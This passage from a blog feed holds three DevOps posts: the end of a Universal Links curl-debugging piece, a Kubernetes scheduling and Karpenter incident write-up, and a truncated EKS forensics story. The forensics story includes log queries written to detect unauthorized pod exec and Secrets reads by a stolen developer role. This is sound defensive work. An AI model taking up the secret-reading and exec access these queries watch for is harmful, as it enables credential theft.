&lt;p&gt;Post-deployment verification matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  The troubleshooting sequence I would use next time
&lt;/h2&gt;

&lt;p&gt;If I encountered a Universal Links issue again, I would start from the infrastructure boundary before moving deeper into the mobile application.&lt;/p&gt;

&lt;p&gt;First:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then check the response in more detail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"status=%{http_code} redirects=%{num_redirects} content-type=%{content_type}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then inspect the actual document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://app.example.com/.well-known/apple-app-site-association
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From there, I would ask:&lt;/p&gt;

&lt;p&gt;Does the endpoint return &lt;code&gt;200&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;Is it redirecting?&lt;/p&gt;

&lt;p&gt;Is the response actually JSON?&lt;/p&gt;

&lt;p&gt;Is the SPA catch-all intercepting the request?&lt;/p&gt;

&lt;p&gt;Is the hosting platform treating the path as a directory?&lt;/p&gt;

&lt;p&gt;Does the association file contain the correct app identifiers?&lt;/p&gt;

&lt;p&gt;Only after answering those questions would I move deeper into the iOS application configuration.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bigger lesson
&lt;/h2&gt;

&lt;p&gt;The original issue looked like an iOS deep-linking problem.&lt;/p&gt;

&lt;p&gt;But the decisive clue came from HTTP.&lt;/p&gt;

&lt;p&gt;Not Xcode.&lt;/p&gt;

&lt;p&gt;Not Flutter.&lt;/p&gt;

&lt;p&gt;Not the app router.&lt;/p&gt;

&lt;p&gt;Not the AWS deployment status.&lt;/p&gt;

&lt;p&gt;Just:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;301
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That one response changed the direction of the investigation.&lt;/p&gt;

&lt;p&gt;The eventual fix was relatively small:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;extensionless Apple URL
        ↓
Amplify 200 rewrite
        ↓
.json association file
        ↓
200 OK
application/json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But understanding why that rewrite was necessary required looking beyond the application itself.&lt;/p&gt;

&lt;p&gt;That's one of the things I appreciate about DevOps work.&lt;/p&gt;

&lt;p&gt;Sometimes the visible failure happens in one layer, while the real cause lives somewhere completely different.&lt;/p&gt;

&lt;p&gt;And sometimes the most useful debugging tool in the entire incident is simply:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Have you ever debugged a Universal Links, App Links, OAuth callback, webhook, or &lt;code&gt;.well-known&lt;/code&gt; endpoint where the real problem turned out to be an unexpected redirect or rewrite?&lt;/p&gt;

&lt;p&gt;I'd be interested to hear what caused it.&lt;/p&gt;

</description>
      <category>ios</category>
      <category>aws</category>
      <category>devops</category>
      <category>mobile</category>
    </item>
    <item>
      <title>Kubernetes at 3% CPU but Pods Still Pending: Debugging Requests, Karpenter, and EBS AZ Affinity</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Wed, 16 Sep 2026 12:20:39 +0000</pubDate>
      <link>https://dev.to/aws-builders/kubernetes-at-3-cpu-but-pods-still-pending-debugging-requests-karpenter-and-ebs-az-affinity-17jh</link>
      <guid>https://dev.to/aws-builders/kubernetes-at-3-cpu-but-pods-still-pending-debugging-requests-karpenter-and-ebs-az-affinity-17jh</guid>
      <description>&lt;p&gt;The cluster was using roughly &lt;strong&gt;3% CPU&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Kubernetes still couldn't schedule several pods.&lt;/p&gt;

&lt;p&gt;One workload was returning a &lt;strong&gt;503&lt;/strong&gt;, multiple application workloads were stuck in &lt;code&gt;Pending&lt;/code&gt;, and the scheduler was reporting insufficient CPU.&lt;/p&gt;

&lt;p&gt;At first, those facts seemed contradictory.&lt;/p&gt;

&lt;p&gt;How could Kubernetes be short of CPU when the nodes were barely using their processors?&lt;/p&gt;

&lt;p&gt;That question led me through CPU requests, a missing Karpenter controller, EBS Availability Zone affinity, IAM trust relationships, CRD mismatches, and finally a Helm upgrade that wasn't quite as successful as it first appeared.&lt;/p&gt;

&lt;p&gt;This is what I found.&lt;/p&gt;

&lt;h2&gt;
  
  
  3% CPU utilisation did not mean 97% capacity was available
&lt;/h2&gt;

&lt;p&gt;When troubleshooting capacity problems, one of the first metrics most of us look at is actual resource utilisation.&lt;/p&gt;

&lt;p&gt;In this case, that metric was misleading.&lt;/p&gt;

&lt;p&gt;The nodes were consuming only around &lt;strong&gt;2–3% actual CPU&lt;/strong&gt;, but CPU &lt;strong&gt;requests&lt;/strong&gt; had reached approximately &lt;strong&gt;98–99% of allocatable capacity&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Those two measurements describe very different things.&lt;/p&gt;

&lt;p&gt;Actual CPU usage tells us what workloads are consuming at that moment.&lt;/p&gt;

&lt;p&gt;CPU requests tell the Kubernetes scheduler how much capacity workloads have already reserved.&lt;/p&gt;

&lt;p&gt;So although the underlying machines were mostly idle, Kubernetes saw very little CPU available for additional scheduling.&lt;/p&gt;

&lt;p&gt;One important workload required roughly &lt;strong&gt;2 vCPU&lt;/strong&gt;, and no existing node had enough unreserved capacity to accommodate it.&lt;/p&gt;

&lt;p&gt;The result was straightforward:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Pending&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A useful mental model is a hotel.&lt;/p&gt;

&lt;p&gt;Imagine a hotel with 100 rooms.&lt;/p&gt;

&lt;p&gt;Only three guests are physically inside their rooms, but 99 rooms have already been reserved.&lt;/p&gt;

&lt;p&gt;The hotel may look empty, but reception cannot allocate those reserved rooms to new guests.&lt;/p&gt;

&lt;p&gt;That was effectively the situation inside the cluster.&lt;/p&gt;

&lt;h2&gt;
  
  
  So why didn't autoscaling add another node?
&lt;/h2&gt;

&lt;p&gt;Once I understood the CPU-request situation, the next question was obvious.&lt;/p&gt;

&lt;p&gt;If Kubernetes needed additional capacity, why wasn't the cluster scaling out?&lt;/p&gt;

&lt;p&gt;This environment was designed to use &lt;strong&gt;Karpenter&lt;/strong&gt; for dynamic node provisioning.&lt;/p&gt;

&lt;p&gt;But during the investigation, I discovered that Karpenter wasn't actually running.&lt;/p&gt;

&lt;p&gt;What made this more deceptive was that much of the supporting configuration was still present.&lt;/p&gt;

&lt;p&gt;There was a &lt;code&gt;NodePool&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The EC2 node configuration existed.&lt;/p&gt;

&lt;p&gt;AWS permissions and discovery configuration were largely present.&lt;/p&gt;

&lt;p&gt;Several Kubernetes resources associated with Karpenter were still there.&lt;/p&gt;

&lt;p&gt;Looking only at those objects, it would have been easy to assume that autoscaling was available.&lt;/p&gt;

&lt;p&gt;The problem was that the &lt;strong&gt;Karpenter controller itself was missing&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The configuration existed.&lt;/p&gt;

&lt;p&gt;The control loop didn't.&lt;/p&gt;

&lt;p&gt;I started thinking about it like a car that still had its steering wheel, dashboard and pedals but no driver.&lt;/p&gt;

&lt;p&gt;Everything describing what should happen was present.&lt;/p&gt;

&lt;p&gt;Nothing was actually there to make it happen.&lt;/p&gt;

&lt;p&gt;So when Kubernetes could no longer schedule the workloads, no new node appeared.&lt;/p&gt;

&lt;h2&gt;
  
  
  CPU capacity wasn't the only scheduling constraint
&lt;/h2&gt;

&lt;p&gt;At this point, manually adding compute appeared to be the fastest way to restore service.&lt;/p&gt;

&lt;p&gt;But the workload returning the 503 had another constraint.&lt;/p&gt;

&lt;p&gt;Its persistent storage was backed by &lt;strong&gt;Amazon EBS&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;EBS volumes are Availability Zone specific.&lt;/p&gt;

&lt;p&gt;The persistent volume was tied to one Availability Zone, while the existing nodes were running in other zones.&lt;/p&gt;

&lt;p&gt;That meant simply finding a node with enough CPU wasn't sufficient.&lt;/p&gt;

&lt;p&gt;The workload needed a node with enough capacity &lt;strong&gt;in the Availability Zone where its storage could attach&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So the outage was actually the result of multiple scheduling conditions interacting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU requests had consumed almost all allocatable CPU from the scheduler's perspective.&lt;/li&gt;
&lt;li&gt;Karpenter wasn't running, so additional capacity wasn't being provisioned automatically.&lt;/li&gt;
&lt;li&gt;A stateful workload needed compute in the same Availability Zone as its EBS volume.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The problem wasn't:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We need another node.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It was:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We need the right capacity, in the right Availability Zone, and the component that should provide it automatically isn't running.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Restoring service
&lt;/h2&gt;

&lt;p&gt;During an incident, I prefer to separate &lt;strong&gt;service restoration&lt;/strong&gt; from &lt;strong&gt;architectural remediation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The first goal was therefore to get the workloads running again.&lt;/p&gt;

&lt;p&gt;I temporarily increased the managed node capacity and ensured that the additional capacity included compute in the Availability Zone required by the persistent volume.&lt;/p&gt;

&lt;p&gt;Once the appropriate capacity appeared, the effect was immediate.&lt;/p&gt;

&lt;p&gt;The affected workload scheduled successfully.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;503 disappeared&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Other workloads that had been waiting in &lt;code&gt;Pending&lt;/code&gt; also began scheduling.&lt;/p&gt;

&lt;p&gt;The immediate incident was resolved.&lt;/p&gt;

&lt;p&gt;But manually increasing node capacity wasn't a permanent solution.&lt;/p&gt;

&lt;p&gt;The next task was restoring autoscaling.&lt;/p&gt;

&lt;h2&gt;
  
  
  Restoring Karpenter
&lt;/h2&gt;

&lt;p&gt;This turned out to be more involved than reinstalling a Helm chart.&lt;/p&gt;

&lt;p&gt;Several objects from the previous Karpenter deployment still existed in the cluster, including service accounts, RBAC resources, services and custom resources.&lt;/p&gt;

&lt;p&gt;Those objects needed to be reconciled with the new Helm-managed installation.&lt;/p&gt;

&lt;p&gt;After getting the controller installed, I hit the next issue.&lt;/p&gt;

&lt;p&gt;The controller started crashing.&lt;/p&gt;

&lt;p&gt;The logs pointed to a missing resource type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NodeClaim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That was a strong indication that the installed Karpenter controller and its &lt;strong&gt;Custom Resource Definitions (CRDs)&lt;/strong&gt; were not aligned.&lt;/p&gt;

&lt;p&gt;The controller expected Kubernetes to understand an API resource that wasn't available with the required schema.&lt;/p&gt;

&lt;p&gt;After updating the relevant CRDs, the controller progressed further through startup.&lt;/p&gt;

&lt;p&gt;Then the failure changed.&lt;/p&gt;

&lt;p&gt;AWS returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AccessDenied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;during:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AssumeRoleWithWebIdentity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At that point, the investigation moved from Kubernetes into AWS IAM.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kubernetes identity and IAM trust had drifted apart
&lt;/h2&gt;

&lt;p&gt;Karpenter was using a Kubernetes service account to assume an AWS IAM role.&lt;/p&gt;

&lt;p&gt;The IAM trust relationship, however, expected that service-account identity in a different namespace from the namespace where the controller was actually running.&lt;/p&gt;

&lt;p&gt;Both pieces looked reasonable on their own.&lt;/p&gt;

&lt;p&gt;Together, they didn't match.&lt;/p&gt;

&lt;p&gt;AWS therefore rejected the role assumption.&lt;/p&gt;

&lt;p&gt;Once the trust relationship was aligned with the identity of the service account actually running the Karpenter controller, the controller started successfully.&lt;/p&gt;

&lt;p&gt;It began discovering suitable instance types.&lt;/p&gt;

&lt;p&gt;The node configuration became ready.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;NodePool&lt;/code&gt; became ready.&lt;/p&gt;

&lt;p&gt;Autoscaling was operational again.&lt;/p&gt;

&lt;p&gt;That was the point where the cluster finally regained the ability to react automatically when new workloads needed additional capacity.&lt;/p&gt;

&lt;h2&gt;
  
  
  One final surprise: the Helm upgrade looked successful
&lt;/h2&gt;

&lt;p&gt;There was still one more piece of work.&lt;/p&gt;

&lt;p&gt;Another environment was running an older Karpenter version, and I wanted both environments to behave consistently.&lt;/p&gt;

&lt;p&gt;So I upgraded the second environment to the same version.&lt;/p&gt;

&lt;p&gt;Helm reported a successful upgrade.&lt;/p&gt;

&lt;p&gt;At first glance, everything looked fine.&lt;/p&gt;

&lt;p&gt;But when I checked the controller image that was actually running, it was still using the older version.&lt;/p&gt;

&lt;p&gt;The chart had been upgraded.&lt;/p&gt;

&lt;p&gt;The controller image had not.&lt;/p&gt;

&lt;p&gt;The cause was subtle.&lt;/p&gt;

&lt;p&gt;The previous Helm configuration contained a pinned controller image tag and digest.&lt;/p&gt;

&lt;p&gt;During the upgrade I used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--reuse-values
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Helm did exactly what I asked it to do.&lt;/p&gt;

&lt;p&gt;It reused the previous values.&lt;/p&gt;

&lt;p&gt;Unfortunately, that included the old image configuration.&lt;/p&gt;

&lt;p&gt;So the release metadata moved forward while the actual controller image stayed behind.&lt;/p&gt;

&lt;p&gt;The fix was to explicitly update the image version and remove the stale digest.&lt;/p&gt;

&lt;p&gt;After that, both environments were finally running the same Karpenter version.&lt;/p&gt;

&lt;p&gt;That incident reinforced something I try not to forget:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A successful deployment command is not the same thing as a verified deployment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Always check what is actually running.&lt;/p&gt;

&lt;h2&gt;
  
  
  The troubleshooting sequence I would use next time
&lt;/h2&gt;

&lt;p&gt;The exact commands will differ between environments, but the investigation pattern is reusable.&lt;/p&gt;

&lt;p&gt;First, check actual node utilisation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl top nodes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then inspect why a pod isn't scheduling:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl describe pod &amp;lt;pod-name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Events&lt;/code&gt; section often tells you whether the scheduler is blocked by CPU, memory, taints, affinity rules, topology or something else.&lt;/p&gt;

&lt;p&gt;Check how nodes are distributed across Availability Zones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get nodes &lt;span class="nt"&gt;-L&lt;/span&gt; topology.kubernetes.io/zone
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Karpenter, confirm that its resources exist and are healthy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get nodepool
kubectl get ec2nodeclass
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then check the controller itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get pods &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-l&lt;/span&gt; app.kubernetes.io/name&lt;span class="o"&gt;=&lt;/span&gt;karpenter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the controller isn't healthy, inspect its logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl logs &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-l&lt;/span&gt; app.kubernetes.io/name&lt;span class="o"&gt;=&lt;/span&gt;karpenter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important shift is moving beyond:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How busy are my nodes?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What resources has Kubernetes already reserved, what constraints must this workload satisfy, and which controllers should be reacting to the problem?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Those questions lead to very different troubleshooting paths.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this incident reinforced for me
&lt;/h2&gt;

&lt;p&gt;A few lessons stood out.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Low CPU utilisation does not mean schedulable CPU exists
&lt;/h3&gt;

&lt;p&gt;A Kubernetes node can be almost idle while still having very little capacity available to the scheduler.&lt;/p&gt;

&lt;p&gt;CPU &lt;strong&gt;usage&lt;/strong&gt; and CPU &lt;strong&gt;requests&lt;/strong&gt; answer different questions.&lt;/p&gt;

&lt;p&gt;Usage tells you what workloads are consuming right now.&lt;/p&gt;

&lt;p&gt;Requests tell Kubernetes what capacity it has already promised.&lt;/p&gt;

&lt;p&gt;You need to look at both.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Existing configuration does not mean the control plane is functioning
&lt;/h3&gt;

&lt;p&gt;The Karpenter-related resources were largely still there.&lt;/p&gt;

&lt;p&gt;That made the environment look configured.&lt;/p&gt;

&lt;p&gt;But without a healthy controller, the autoscaling control loop didn't exist.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;NodePool&lt;/code&gt; by itself cannot provision a node.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Storage topology matters
&lt;/h3&gt;

&lt;p&gt;For workloads backed by zonal storage such as Amazon EBS, adding capacity anywhere in the region isn't necessarily enough.&lt;/p&gt;

&lt;p&gt;The compute needs to exist in a location where the storage can attach.&lt;/p&gt;

&lt;p&gt;That matters especially for stateful workloads.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Infrastructure drift can remain invisible until demand exposes it
&lt;/h3&gt;

&lt;p&gt;The environment could continue operating without a Karpenter controller as long as the existing nodes had enough capacity.&lt;/p&gt;

&lt;p&gt;Nothing necessarily failed immediately.&lt;/p&gt;

&lt;p&gt;The missing controller became visible only when the cluster actually needed to scale.&lt;/p&gt;

&lt;p&gt;That's what makes infrastructure drift dangerous.&lt;/p&gt;

&lt;p&gt;It can sit quietly for a long time and only reveal itself during an incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Verify the running artifact, not just the deployment command
&lt;/h3&gt;

&lt;p&gt;The Helm upgrade reported success while the controller image remained on the older version.&lt;/p&gt;

&lt;p&gt;That is why deployment validation should include checking the actual image, pods and runtime state.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Be careful with &lt;code&gt;--reuse-values&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;--reuse-values&lt;/code&gt; is convenient, but it can preserve configuration that you actually intended to replace.&lt;/p&gt;

&lt;p&gt;Pinned image tags and digests are a good example.&lt;/p&gt;

&lt;p&gt;Whenever I use it now, I want to know exactly which old values are being carried forward.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bigger lesson
&lt;/h2&gt;

&lt;p&gt;The part of this incident I found most interesting was the original contradiction:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Around 3% actual CPU usage, but Kubernetes still couldn't schedule workloads.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That contradiction disappeared once I stopped asking only:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How busy are these machines?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and started asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What capacity has Kubernetes already promised?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes scheduling involves far more than current CPU utilisation.&lt;/p&gt;

&lt;p&gt;It has to account for resource requests, topology constraints, storage placement, node availability and the controllers responsible for adding capacity when existing nodes can't satisfy a workload.&lt;/p&gt;

&lt;p&gt;Sometimes an outage isn't caused by one spectacular failure.&lt;/p&gt;

&lt;p&gt;It's several individually understandable conditions lining up at exactly the wrong time.&lt;/p&gt;

&lt;p&gt;In this case:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU requests had consumed almost all schedulable capacity.&lt;/li&gt;
&lt;li&gt;Autoscaling wasn't functioning.&lt;/li&gt;
&lt;li&gt;Persistent storage imposed an Availability Zone constraint.&lt;/li&gt;
&lt;li&gt;IAM configuration had drifted.&lt;/li&gt;
&lt;li&gt;CRDs needed alignment.&lt;/li&gt;
&lt;li&gt;A later Helm upgrade preserved an old controller image.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of those observations on its own tells the whole story.&lt;/p&gt;

&lt;p&gt;Together, they explain the outage.&lt;/p&gt;

&lt;p&gt;And the next time I see pods stuck in &lt;code&gt;Pending&lt;/code&gt; on a cluster that appears almost idle, one of my first questions will be:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What has Kubernetes already promised?&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;Have you ever encountered a Kubernetes cluster with low actual CPU usage but no schedulable CPU capacity?&lt;/p&gt;

&lt;p&gt;I'd be interested to hear what caused it in your environment.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>kubernetes</category>
      <category>karpenter</category>
      <category>devops</category>
    </item>
    <item>
      <title>The DevOps vs. Forensics Mindset: Tracing Unauthorized kubectl Access on EKS</title>
      <dc:creator>Frank Osasere Idugboe</dc:creator>
      <pubDate>Sat, 31 Jan 2026 10:09:14 +0000</pubDate>
      <link>https://dev.to/aws-builders/the-devops-vs-forensics-mindset-tracing-unauthorized-kubectl-access-on-eks-2ce3</link>
      <guid>https://dev.to/aws-builders/the-devops-vs-forensics-mindset-tracing-unauthorized-kubectl-access-on-eks-2ce3</guid>
      <description>&lt;p&gt;Most days, I live in the world of high availability, pipelines, and speed. But lately, I’ve been wearing two caps: one as a &lt;strong&gt;Senior DevOps Engineer&lt;/strong&gt; keeping production alive, and the other as a &lt;strong&gt;Master’s student in Digital Forensic Science&lt;/strong&gt; at &lt;strong&gt;UNIFESSPA&lt;/strong&gt; (Marabá, Brazil).&lt;/p&gt;

&lt;p&gt;In DevOps, we are trained to restore service at all costs. If a server acts up, we kill it and replace it. But the Forensics side of my brain has started to whisper: &lt;/p&gt;

&lt;p&gt;&lt;em&gt;"Wait. If you delete that server now, you delete the evidence forever."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is the story of a real incident on an AWS EKS cluster where those two worlds collided.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Alert: "Someone is in the house"
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Date:&lt;/strong&gt; 2026-01-20 | &lt;strong&gt;Region:&lt;/strong&gt; us-east-1&lt;/p&gt;

&lt;p&gt;It started with a CloudWatch alert. The system detected unusual commands in our payment-processing namespace.&lt;/p&gt;

&lt;p&gt;For the non-experts: In Kubernetes, a command called &lt;code&gt;kubectl exec&lt;/code&gt; allows you to log directly into a running container. In a production environment, this is rarely necessary. It is like a bank teller bypassing the counter and walking directly into the vault.&lt;/p&gt;

&lt;p&gt;Even worse, the intruder was listing &lt;strong&gt;Kubernetes Secrets&lt;/strong&gt;, essentially reading the passwords for our databases.&lt;/p&gt;

&lt;p&gt;My DevOps instinct kicked in: &lt;em&gt;"Stop the bleeding. Kill the pods. Rotate the keys."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But my Forensic training stopped me. If I nuked the environment, I would never find out how they got in. The attacker would just come back tomorrow. I had to investigate while the trail was still warm.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Freezing the Crime Scene
&lt;/h2&gt;

&lt;p&gt;If a burglar breaks into your house, you don't start cleaning up the broken glass immediately. You take photos.&lt;/p&gt;

&lt;p&gt;Before I changed a single firewall rule or blocked a user, I captured the cluster's current reality. I needed to see exactly what was running before the attacker (or our auto-scaling tools) changed it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# I saved the timeline of events to a file
kubectl get events -A --sort-by=.lastTimestamp &amp;gt; incident_timeline.txt

# I took a snapshot of every running pod
kubectl get pods -o wide -A &amp;gt; pod_snapshot.txt

# I checked if they gave themselves permanent admin rights (Backdoors)
kubectl get clusterrolebindings -o yaml &amp;gt; crb_snapshot.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Killing a pod is easy. Explaining to your CTO how the attacker got there, after you deleted the evidence, is impossible.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Dusting for Fingerprints (The Logs)
&lt;/h2&gt;

&lt;p&gt;Kubernetes activity is just API traffic. Every time you type a command, the server writes it down. Since we had EKS Control Plane Logging enabled, every command left a fingerprint in AWS CloudWatch.&lt;/p&gt;

&lt;p&gt;I didn't need a fancy security tool. I just needed to ask the logs the right question. I used CloudWatch Logs Insights to look for the "connect" command (which is how K8s logs an exec attempt).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SQL
fields @timestamp, @message
| parse @message '"username":"*"' as user
| parse @message '"verb":"*"' as action
| parse @message '"objectRef":{"resource":"*"' as res
| filter action in ["connect", "create", "patch", "delete"] 
| filter res in ["pods", "secrets", "clusterrolebindings"]
| filter user not like "system:node"
| sort @timestamp desc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The results were clear. An IAM role was being used to open these connections: arn:aws:sts::123456789012:assumed-role/ReadOnly-Developer/Session-XYZ&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Finding the Person Behind the Role
&lt;/h2&gt;

&lt;p&gt;This is where it gets tricky. Kubernetes knew which key was used (the IAM Role), but it didn't know who was holding the key.&lt;/p&gt;

&lt;p&gt;To find the human, I had to switch to AWS CloudTrail. This is the master log of everything happening in your AWS account. I needed to find the exact moment someone "put on the mask" of that Developer Role.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SQL
SELECT eventTime, sourceIPAddress, userIdentity.arn, requestParameters.roleArn
FROM cloudtrail_logs
WHERE eventName = 'AssumeRole'
  AND requestParameters.roleSessionName = 'Session-XYZ'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Twist: The source IP address didn't come from a hacker in a hoodie halfway across the world. It wasn't one of our VPN addresses either.&lt;/p&gt;

&lt;p&gt;It turned out that a developer’s local laptop credentials had been compromised. The attacker wasn't breaking in through a window; they were walking through the front door using a stolen keycard.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: The Fix (Moving to Modern Security)
&lt;/h2&gt;

&lt;p&gt;In the past, we managed access using a file called aws-auth. It’s messy, hard to read, and easy to break.&lt;/p&gt;

&lt;p&gt;To fix this properly, I moved us to EKS Access Entries. Think of this like upgrading from a physical guestbook to a digital badge system. It allows us to grant (and revoke) access directly through the AWS API.&lt;/p&gt;

